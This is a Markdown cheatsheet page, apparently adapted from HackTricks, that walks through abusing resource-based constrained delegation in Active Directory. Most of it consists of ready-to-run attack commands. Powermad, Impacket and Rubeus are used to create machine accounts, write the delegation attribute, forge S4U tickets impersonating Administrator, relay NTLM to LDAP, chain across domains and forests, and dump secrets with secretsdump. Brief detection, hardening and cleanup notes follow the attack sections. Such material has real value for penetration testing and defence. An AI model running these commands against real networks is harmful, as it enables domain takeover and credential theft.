daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

resource-based-constrained-delegation.md (25685B)


      1 ---
      2 title: "Resource-based Constrained Delegation"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Resource-based Constrained Delegation
     14 
     15 ## Basics of Resource-based Constrained Delegation
     16 
     17 Resource-based constrained delegation (RBCD) is similar to [constrained delegation](/hacktricks/windows-hardening/active-directory-methodology/constrained-delegation), but the trust direction is reversed. Traditional constrained delegation records which services a principal may delegate to; RBCD records on the **target resource** which principals may impersonate users to it.<sup>[[12]](#references)</sup>
     18 
     19 The target object's _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ attribute contains a security descriptor identifying the principals allowed to act on behalf of other identities to that resource.
     20 
     21 Another important difference is that a principal with sufficient **write permissions over a machine account** (`GenericAll`, `GenericWrite`, `WriteDacl`, `WriteProperty`, and similar rights) may be able to set _**msDS-AllowedToActOnBehalfOfOtherIdentity**_. Configuring traditional constrained delegation normally requires more privileged administrative access.<sup>[[1]](#references)</sup>
     22 
     23 More precisely, changing classic constrained-delegation settings is normally gated by `SeEnableDelegationPrivilege` on a domain controller, a right typically held by highly privileged administrators. RBCD shifts the decision to the target object's security descriptor, so write access to the relevant computer-object property can be sufficient without that user right.<sup>[[1]](#references)[[2]](#references)</sup>
     24 
     25 ### New Concepts
     26 
     27 The **`TrustedToAuthForDelegation`** flag in `userAccountControl` is often described as a prerequisite for **S4U2Self**, but that is incomplete.\
     28 A service principal with an SPN can request S4U2Self without the flag. With `TrustedToAuthForDelegation`, the returned service ticket is **forwardable**; without it, the ticket is normally **non-forwardable**.<sup>[[5]](#references)</sup>
     29 
     30 Traditional constrained delegation rejects a **non-forwardable TGS** in the S4U2Proxy step. RBCD can accept that S4U2Self ticket when the target's security descriptor authorizes the requesting service.<sup>[[1]](#references)[[2]](#references)[[16]](#references)</sup>
     31 
     32 ### Attack structure
     33 
     34 > If you have **write-equivalent privileges** over a **computer account**, you may be able to obtain privileged access to that machine.
     35 
     36 Assume the attacker already has **write-equivalent privileges over the victim computer object**.
     37 
     38 1. The attacker **compromises** an account with an **SPN** or **creates one** ("Service A"). By default, an authenticated domain user can create up to 10 computer objects, as controlled by **_MachineAccountQuota_**; a computer object automatically supplies usable SPNs.
     39 2. The attacker **abuses its WRITE privilege** over the victim computer (ServiceB) to configure **resource-based constrained delegation to allow ServiceA to impersonate any user** against that victim computer (ServiceB).
     40 3. The attacker uses Rubeus to perform a **full S4U attack** (S4U2Self and S4U2Proxy) from Service A to Service B for a user **with privileged access to Service B**.
     41    1. S4U2Self (from the compromised or created SPN account): request a **TGS representing Administrator to Service A** (non-forwardable).
     42    2. S4U2Proxy: use that **non-forwardable TGS** to request a service ticket representing **Administrator** to the **victim host**.
     43    3. The non-forwardable ticket can still work in this RBCD flow because Service A is authorized in the target resource's security descriptor.
     44 4. The attacker can **pass-the-ticket** and **impersonate** the user to gain **access to the victim ServiceB**.<sup>[[1]](#references)</sup>
     45 
     46 To check the _**MachineAccountQuota**_ of the domain you can use:
     47 
     48 ```bash
     49 Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
     50 ```
     51 
     52 ## Attack
     53 
     54 ### Creating a Computer Object
     55 
     56 You can create a computer object inside the domain using **[powermad](https://github.com/Kevin-Robertson/Powermad):**<sup>[[3]](#references)[[4]](#references)</sup>
     57 
     58 ```bash
     59 import-module powermad
     60 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
     61 
     62 # Check if created
     63 Get-DomainComputer SERVICEA
     64 ```
     65 
     66 ### Configuring Resource-based Constrained Delegation
     67 
     68 **Using the Active Directory PowerShell module**<sup>[[4]](#references)</sup>
     69 
     70 ```bash
     71 Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assign delegation privileges
     72 Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
     73 ```
     74 
     75 **Using powerview**<sup>[[3]](#references)</sup>
     76 
     77 ```bash
     78 $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
     79 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
     80 $SDBytes = New-Object byte[] ($SD.BinaryLength)
     81 $SD.GetBinaryForm($SDBytes, 0)
     82 Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
     83 
     84 #Check that it worked
     85 Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
     86 
     87 msds-allowedtoactonbehalfofotheridentity
     88 ----------------------------------------
     89 {1, 0, 4, 128...}
     90 ```
     91 
     92 ### Performing a complete S4U attack (Windows/Rubeus)
     93 
     94 First of all, we created the new Computer object with the password `123456`, so we need the hash of that password:<sup>[[3]](#references)[[4]](#references)</sup>
     95 
     96 ```bash
     97 .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
     98 ```
     99 
    100 This will print the RC4 and AES hashes for that account.\
    101 Now, the attack can be performed:<sup>[[3]](#references)[[4]](#references)</sup>
    102 
    103 ```bash
    104 rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
    105 ```
    106 
    107 You can generate more tickets for more services just asking once using the `/altservice` param of Rubeus:
    108 
    109 ```bash
    110 rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
    111 ```
    112 
    113 > [!CAUTION]
    114 > Users can be marked **"Account is sensitive and cannot be delegated."** If that flag is enabled, the account cannot be impersonated through this delegation flow. BloodHound exposes this property during analysis.
    115 
    116 ### Linux tooling: end-to-end RBCD with Impacket (2024+)
    117 
    118 If you operate from Linux, you can perform the full RBCD chain using the official Impacket tools:<sup>[[6]](#references)[[7]](#references)</sup>
    119 
    120 ```bash
    121 # 1) Create attacker-controlled machine account (respects MachineAccountQuota)
    122 impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
    123 
    124 # 2) Grant RBCD on the target computer to FAKE01$
    125 #    -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
    126 impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
    127 
    128 # 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
    129 impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
    130 
    131 # 4) Use the ticket (ccache) against the target service
    132 export KRB5CCNAME=$(pwd)/Administrator.ccache
    133 # Example: dump local secrets via Kerberos (no NTLM)
    134 impacket-secretsdump -k -no-pass Administrator@victim.domain.local
    135 ```
    136 
    137 Notes
    138 - If LDAP signing/LDAPS is enforced, use `impacket-rbcd -use-ldaps ...`.
    139 - Prefer AES keys; many modern domains restrict RC4. Impacket and Rubeus both support AES-only flows.
    140 - Impacket can rewrite the `sname` ("AnySPN") for some tools, but obtain the correct SPN whenever possible (e.g., CIFS/LDAP/HTTP/HOST/MSSQLSvc).
    141 
    142 ## Cross-domain & cross-forest RBCD
    143 
    144 If the **delegating principal** you control lives in a **different domain** (or even a **different forest**) than the **resource computer**, the abuse is still **RBCD**, but the ticket flow is no longer the usual single-domain `S4U2Self -> S4U2Proxy`.
    145 
    146 ### Cross-domain RBCD: configure the foreign principal by SID
    147 
    148 When you set `msDS-AllowedToActOnBehalfOfOtherIdentity` from a **different domain**, the foreign machine/user might **not be resolvable by name** in the target domain LDAP. In that case, configure the delegation entry using the **SID** of the foreign principal instead of its sAMAccountName/UPN.
    149 
    150 This is especially relevant when relaying NTLM to LDAP with `ntlmrelayx.py`:<sup>[[9]](#references)</sup>
    151 
    152 ```bash
    153 sudo ntlmrelayx.py -smb2support -t ldap://192.168.90.217 \
    154   --no-dump --no-da --no-validate-privs \
    155   --delegate-access \
    156   --escalate-user S-1-5-21-3104832133-133926542-3798009529-1106 \
    157   --sid
    158 ```
    159 
    160 Notes:
    161 - `--sid` tells `ntlmrelayx.py` to treat `--escalate-user` as a SID, which is required when the delegating account is foreign to the target domain.
    162 - Even if the tool prints `User not found in LDAP`, the delegation write can still succeed because the security descriptor stores the foreign SID directly.
    163 
    164 ### Cross-domain RBCD: cross-realm S4U sequence
    165 
    166 Once the foreign principal is in `msDS-AllowedToActOnBehalfOfOtherIdentity`, the working cross-domain flow is:<sup>[[9]](#references)[[13]](#references)</sup>
    167 
    168 1. Get a **TGT** for the delegating principal from its own domain.
    169 2. Request a **referral TGT** for `krbtgt/<target-domain>`.
    170 3. Request a **cross-realm S4U2Self referral** for the impersonated user on the target-domain DC.
    171 4. Request the actual **S4U2Self** ticket for that user back in the delegator domain.
    172 5. Perform **S4U2Proxy** in the delegator domain to get a referral ticket for the target domain.
    173 6. Perform the final **S4U2Proxy** on the target-domain DC to obtain the service ticket for `cifs/host.target`, `host/host.target`, etc.
    174 
    175 This is why stock Linux tooling often fails in cross-domain RBCD:<sup>[[9]](#references)</sup>
    176 - the request **realm** may need to differ from the realm of the TGT used in the `TGS-REQ`
    177 - the chain needs **independent S4U2Proxy steps**, not only `S4U2Self` or `S4U2Self` immediately followed by a single `S4U2Proxy`
    178 
    179 ### Cross-domain RBCD from Linux
    180 
    181 Synacktiv published an Impacket `getST.py` implementation that reproduces the cross-realm sequence from Linux by explicitly handling the two KDCs:<sup>[[9]](#references)[[11]](#references)</sup>
    182 
    183 ```bash
    184 python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k \
    185   -dc-ip 192.168.90.131 \
    186   -targetdc 192.168.90.217 \
    187   -targetdomain asgard.local \
    188   -impersonate thor_adm \
    189   -spn cifs/workstation.asgard.local
    190 
    191 KRB5CCNAME=thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache \
    192   ./smbclient.py "asgard.local/thor_adm@workstation.asgard.local" \
    193   -k -no-pass -dc-ip 192.168.90.217
    194 ```
    195 
    196 Operationally, the new arguments are:
    197 - `-dc-ip`: DC of the **delegating** domain
    198 - `-targetdomain`: domain of the **resource computer**
    199 - `-targetdc`: DC of the **resource** domain
    200 
    201 ### Cross-forest RBCD limitations
    202 
    203 Cross-forest RBCD has an important limitation: **the impersonated user must belong to the same forest as the delegating principal**. In other words, if your controlled machine account is in `valhalla.local` and the target resource is in `asgard.local`, you generally **cannot** impersonate arbitrary `asgard.local` users to that resource via RBCD.<sup>[[9]](#references)</sup>
    204 
    205 It is still exploitable when:
    206 - the **delegating forest** user is a **local admin** (or otherwise privileged) on the resource host in the other forest
    207 - a trust allows the required authentication path and the foreign SID is accepted in the target computer's security descriptor
    208 
    209 ### Cross-forest RBCD protocol quirks
    210 
    211 Cross-forest RBCD is not just "cross-domain plus a trust". The observed flow includes two quirks that common tooling historically misses:<sup>[[9]](#references)</sup>
    212 
    213 1. An extra **S4U2Proxy** request that sets **`PA-PAC-OPTIONS=branch-aware`**
    214 2. A final service ticket that may be returned using **RC4** even when other etypes were requested
    215 
    216 The practical flow is:
    217 
    218 1. Get a TGT for the delegating principal in forest A.
    219 2. Request **S4U2Self** for the impersonated user in forest A.
    220 3. Request **S4U2Proxy** in forest A to obtain a referral TGT for forest B.
    221 4. Send a second **S4U2Proxy** in forest A **without** the S4U2Self ticket as an additional ticket, but with `branch-aware` enabled, to obtain another referral TGT for forest B.
    222 5. Optionally request a normal service ticket in forest B for the delegating principal (this ticket is not required for the final abuse).
    223 6. Use the referral tickets from steps 3 and 4 to request the final **S4U2Proxy** ticket in forest B for the impersonated forest-A user to the target SPN.
    224 
    225 ### Cross-forest RBCD from Linux
    226 
    227 The same Synacktiv Impacket branch adds a `-forest` switch for this logic:<sup>[[9]](#references)[[11]](#references)</sup>
    228 
    229 ```bash
    230 python3 ./getST.py -spn 'cifs/workstation.asgard.local' \
    231   -impersonate 'v_thor' \
    232   -dc-ip VALHALLA.local \
    233   valhalla.local/'desktop$' \
    234   -targetdc ASGARD.local \
    235   -targetdomain asgard.local \
    236   -aesKey 4[...]f \
    237   -forest
    238 ```
    239 
    240 ### Recursive multi-domain RBCD (3+ domains)
    241 
    242 In **multi-domain forests**, both **S4U2Self** and **S4U2Proxy** can be **recursive** instead of stopping after one referral:
    243 
    244 - **Recursive S4U2Self**: the first `S4U2Self` is sent to the **impersonated user's domain**, intermediate parent/child hops are traversed with normal `TGS-REQ` referrals for `krbtgt/<REALM>`, and the **final `S4U2Self`** is sent in the **delegating principal's own domain**.
    245 - This means that **just holding a TGT** for a machine account can be enough to impersonate an **admin from another domain in the same forest** and request `cifs/host`, `host/host`, `wsman/host`, etc.
    246 - **Recursive S4U2Proxy** follows the trust chain in the same way: intermediate hops reuse the previous ticket as the TGT while requesting the next `krbtgt/<REALM>` referral, and only the last hop returns the final service ticket.<sup>[[10]](#references)</sup>
    247 
    248 A practical same-forest example is:
    249 
    250 ```bash
    251 KRB5CCNAME=MIN-FRPERSO-01\$.ccache getST.py 'minus.sub.frperso.local/MIN-FRPERSO-01$' -k -no-pass \
    252   -impersonate Administrator@frperso.local -self \
    253   -altservice cifs/min-frperso-01.minus.sub.frperso.local
    254 
    255 KRB5CCNAME=Administrator@frperso.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache \
    256   smbclient.py frperso.local/Administrator@min-frperso-01.minus.sub.frperso.local -k -no-pass
    257 ```
    258 
    259 ### SPN-less cross-domain / cross-forest RBCD
    260 
    261 If the **delegating principal is a user without an SPN**, the last recursive `S4U2Self` fails with **`KDC_ERR_S_PRINCIPAL_UNKNOWN`**. The workaround is to **retry only the final hop as `S4U2Self+U2U`**.<sup>[[10]](#references)</sup>
    262 
    263 Short version of the abuse chain:
    264 
    265 1. Authenticate with the **NT hash** so the KDC is pushed toward **RC4-HMAC (etype 23)**.
    266 2. Request **`-self -u2u`** first and keep that ticket separate from the later proxy step.
    267 3. Extract the **TGT session key** with `describeTicket.py`.
    268 4. Replace the user's **NT hash** with that **session key** using `changepasswd.py -newhashes <session_key>`.
    269 5. Reuse the `S4U2Self+U2U` ticket as the **`-additional-ticket`** during a separate **`-proxy`** request.
    270 
    271 ```bash
    272 getST.py sub.frperso.local/Administrator -hashes ':<nthash>' \
    273   -impersonate Administrator@frperso.local -self -u2u
    274 describeTicket.py Administrator.ccache
    275 changepasswd.py sub.frperso.local/Administrator@sub-frperso-01.sub.frperso.local \
    276   -hashes ':<nthash>' -newhashes <tgt_session_key>
    277 KRB5CCNAME=Administrator.ccache getST.py sub.frperso.local/Administrator -k -no-pass \
    278   -impersonate Administrator@frperso.local -proxy -proxydomain frpublic.local \
    279   -spn cifs/frpublic-01.frpublic.local -additional-ticket '<u2u_ticket.ccache>'
    280 ```
    281 
    282 Operational caveats:
    283 
    284 - When the **first trusted hop is already another forest**, prefer the **branch-aware** algorithm (`getST.py ... -forest`) to match native Windows behavior. If the foreign forest is only reached **later** in the chain, the non-branch-aware recursive flow may still work.<sup>[[9]](#references)</sup>
    285 - On recent **Windows Server 2022/2025** DCs, forced RC4 can fail with **`KDC_ERR_ETYPE_NOSUPP`** because of RC4 deprecation; this can make **SPN-less RBCD impossible** even though classic SPN-backed RBCD still works with AES.<sup>[[15]](#references)</sup>
    286 - Run **`S4U2Self+U2U` before changing the user's hash/password**: `SamrChangePasswordUser` does **not** recompute the account's Kerberos AES keys, so doing the password change first can break later ticket requests.<sup>[[14]](#references)</sup>
    287 - The impersonated account must still be **delegable**: **Protected Users** and accounts with **`NOT_DELEGATED`** / **"Account is sensitive and cannot be delegated"** block the chain.
    288 
    289 ## Detection / hardening notes
    290 
    291 - RBCD paths across domains/forests are still usually created through **ACL abuse** or **relay-to-LDAP**. Enforce **LDAP signing** and **LDAP channel binding** on DCs to break common setup paths.
    292 - Audit who can write `msDS-AllowedToActOnBehalfOfOtherIdentity` on computer objects and resolve the stored SIDs, including **foreign security principals**.
    293 - In trust-heavy environments, review **Selective Authentication**, **SID filtering**, and whether users from a foreign forest hold **local admin** rights on resource hosts.
    294 
    295 ### Accessing
    296 
    297 The last command line will perform the **complete S4U attack and will inject the TGS** from Administrator to the victim host in **memory**.\
    298 In this example it was requested a TGS for the **CIFS** service from Administrator, so you will be able to access **C$**:
    299 
    300 ```bash
    301 ls \\victim.domain.local\C$
    302 ```
    303 
    304 ### Abuse different service tickets
    305 
    306 Learn about the [**available service tickets here**](/hacktricks/windows-hardening/active-directory-methodology/silver-ticket#available-services).
    307 
    308 ## Enumerating, auditing and cleanup
    309 
    310 ### Enumerate computers with RBCD configured
    311 
    312 PowerShell (decoding the SD to resolve SIDs):
    313 
    314 ```powershell
    315 # List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
    316 Import-Module ActiveDirectory
    317 Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
    318   Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
    319   ForEach-Object {
    320     $raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
    321     $sd  = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
    322     $sd.DiscretionaryAcl | ForEach-Object {
    323       $sid  = $_.SecurityIdentifier
    324       try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
    325       [PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
    326     }
    327   }
    328 ```
    329 
    330 Impacket (read or flush with one command):
    331 
    332 ```bash
    333 # Read who can delegate to VICTIM
    334 impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
    335 ```
    336 
    337 ### Cleanup / reset RBCD
    338 
    339 - PowerShell (clear the attribute):
    340 
    341 ```powershell
    342 Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
    343 # Or using the friendly property
    344 Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
    345 ```
    346 
    347 - Impacket:
    348 
    349 ```bash
    350 # Remove a specific principal from the SD
    351 impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
    352 # Or flush the whole list
    353 impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
    354 ```
    355 
    356 ## Kerberos Errors
    357 
    358 - **`KDC_ERR_ETYPE_NOTSUPP`**: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash (or just supply it the rc4, aes128 and aes256 hashes). Example: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
    359 - **`KDC_ERR_S_PRINCIPAL_UNKNOWN`** during `-self` for a normal user: the delegating principal likely **has no SPN**. Retry the **last hop** as **`S4U2Self+U2U`** instead of a regular `S4U2Self`.<sup>[[10]](#references)</sup>
    360 - **`KDC_ERR_ETYPE_NOSUPP`** during **SPN-less RBCD**: recent DCs may reject the forced **RC4-HMAC** path required by the `S4U2Self+U2U` + session-key-substitution trick. Try a classic **SPN-backed** RBCD path with AES instead.<sup>[[10]](#references)[[15]](#references)</sup>
    361 - **`KRB_AP_ERR_SKEW`**: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly.
    362 - **`preauth_failed`**: This means that the given username + hashes aren't working to login. You may have forgotten to put the "$" inside the username when generating the hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
    363 - **`KDC_ERR_BADOPTION`**: This may mean:
    364   - The user you are trying to impersonate cannot access the desired service (because you cannot impersonate it or because it doesn't have enough privileges)
    365   - The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running)
    366   - The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back.
    367   - You are abusing classic KCD; remember RBCD works with non-forwardable S4U2Self tickets, while KCD requires forwardable.
    368 
    369 ## Notes, relays and alternatives
    370 
    371 - You can also write the RBCD SD over AD Web Services (ADWS) if LDAP is filtered. See:
    372 
    373 
    374 [Adws Enumeration](/hacktricks/windows-hardening/active-directory-methodology/adws-enumeration)
    375 
    376 - Kerberos relay chains frequently end in RBCD to achieve local SYSTEM in one step. See practical end-to-end examples:
    377 
    378 
    379 [Spoofing Llmnr Nbt Ns Mdns Dns And Wpad And Relay Attacks](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
    380 
    381 - If LDAP signing/channel binding are **disabled** and you can create a machine account, tools like **KrbRelayUp** can relay a coerced Kerberos auth to LDAP, set `msDS-AllowedToActOnBehalfOfOtherIdentity` for your machine account on the target computer object, and immediately impersonate **Administrator** via S4U from off-host.<sup>[[8]](#references)</sup>
    382 
    383 ## References
    384 
    385 - [1] [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://eladshamir.com/2019/01/28/Wagging-the-Dog.html)
    386 - [2] [Another Word on Delegation – harmj0y](https://blog.harmj0y.net/redteaming/another-word-on-delegation/)
    387 - [3] [Kerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
    388 - [4] [Netwrix – Resource-Based Constrained Delegation Abuse](https://netwrix.com/en/resources/blog/resource-based-constrained-delegation-abuse/)
    389 - [5] [Kerberosity Killed the Domain: An Offensive Kerberos Overview](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
    390 - [6] [Impacket rbcd.py (official)](https://github.com/fortra/impacket/blob/master/examples/rbcd.py)
    391 - [7] [Quick Linux cheatsheet with recent syntax](https://tldrbins.github.io/rbcd/)
    392 - [8] [0xdf – HTB Bruno (LDAP signing off → Kerberos relay to RBCD)](https://0xdf.gitlab.io/2026/02/24/htb-bruno.html)
    393 - [9] [Synacktiv - Exploring cross-domain & cross-forest RBCD](https://www.synacktiv.com/en/publications/exploring-cross-domain-cross-forest-rbcd.html)
    394 - [10] [Synacktiv - Exploring cross-domain & cross-forest RBCD: part 2](https://www.synacktiv.com/en/publications/exploring-cross-domain-cross-forest-rbcd-part-2.html)
    395 - [11] [Synacktiv Impacket branch - cross_forest_rbcd](https://github.com/synacktiv/impacket/tree/cross_forest_rbcd)
    396 - [12] [Microsoft Learn - Kerberos constrained delegation overview](https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview)
    397 - [13] [Microsoft Open Specifications - Cross-domain S4U2Self](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/f35b6902-6f5e-4cd0-be64-c50bbaaf54a5)
    398 - [14] [Microsoft Open Specifications - SamrChangePasswordUser](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476)
    399 - [15] [Microsoft Learn - Detect and remediate RC4 usage in Kerberos](https://learn.microsoft.com/en-us/windows-server/security/kerberos/detect-remediate-rc4-kerberos)
    400 - [16] [Microsoft Open Specifications – S4U2Proxy details](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9cd5-e9c237331c90)